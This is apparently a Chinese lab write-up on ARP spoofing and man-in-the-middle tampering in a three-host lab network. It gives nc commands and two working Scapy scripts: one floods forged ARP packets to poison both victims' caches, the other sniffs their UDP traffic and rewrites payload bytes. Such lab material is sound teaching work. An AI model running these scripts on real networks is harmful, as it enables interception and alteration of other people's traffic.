一、实验要求

实验内容如下

网络拓扑结构如下

IP地址与MAC地址的对应关系如下

二、实验过程

1.hostB启动nc服务器

1
nc -lu 9090

2.hostA启动客户端连接nc服务器

1
nc -u 192.168.60.1 9090

3.hostM运行ARP欺骗和嗅探/篡改脚本

本示例将ARP欺骗和信息篡改两个程序分开执行,代码如下可供参考

  • ARP欺骗脚本 apr1.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from scapy.all import*
    import time

    p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:c0:a8:3c:03")/ARP(pdst="192.168.60.2", psrc="192.168.60.1")
    p2 = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:c0:a8:3c:03")/ARP(pdst="192.168.60.1", psrc="192.168.60.2")
    while True:
    sendp(p1)
    sendp(p2)
    time.sleep(0.5)
  • 信息篡改脚本 arp2.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from scapy.all import *

    def spoof_pkt(pkt):
    if pkt.haslayer(UDP) and pkt.haslayer(Raw):
    newdata = pkt[Raw].load.replace(b"123", b"456")
    newpkt = Ether(src="02:42:c0:a8:3c:03", dst="02:42:62:3b:7b:5d")/IP(src=pkt[IP].src, dst=pkt[IP].dst)/UDP # 注意修改hostB的MAC地址(每个人不一样)
    (sport=pkt[UDP].sport, dport=pkt[UDP].dport)/newdata
    sendp(newpkt, iface="eth0")

    f = 'udp and (ether src 02:42:c0:a8:3c:02 or ether src 02:42:62:3b:7b:5d)' # 注意修改这里的hostB的MAC地址
    sniff(filter=f, prn=spoof_pkt)

三、效果演示